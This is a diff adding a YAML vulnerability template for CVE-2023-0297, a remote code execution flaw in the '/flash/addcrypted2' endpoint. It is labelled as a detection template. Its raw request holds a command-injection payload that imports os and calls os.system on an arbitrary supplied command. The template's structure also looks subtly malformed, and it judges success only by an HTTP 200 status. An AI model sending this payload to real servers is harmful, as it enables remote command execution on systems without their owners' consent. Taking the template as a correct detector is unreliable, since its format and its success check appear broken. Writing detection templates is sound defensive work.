CVE-2023-0297.yaml

http/cves/2023/CVE-2023-0297.yaml

@@ -0,0 +1,21 @@
+id: flash-addcrypted2-rce
+info:
+  name: Flash Addcrypted2 Remote Code Execution
+  author: MrHarshvardhan
+  severity: high
+  description: |
+    Template to detect the Flash Addcrypted2 Remote Code Execution vulnerability.
+  reference:
+    - https://www.exploit-db.com/exploits/51532
+requests:
+  - method: GET
+    path:
+      - /flash/addcrypted2
+    attacks:
+      - raw:
+          - 'jk=pyimport%20os;os.system("CMD_PLACEHOLDER");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
+          - 'CMD_PLACEHOLDER: "{cmd}"'
+    predicates:
+      - type: status
+        status:
+          - 200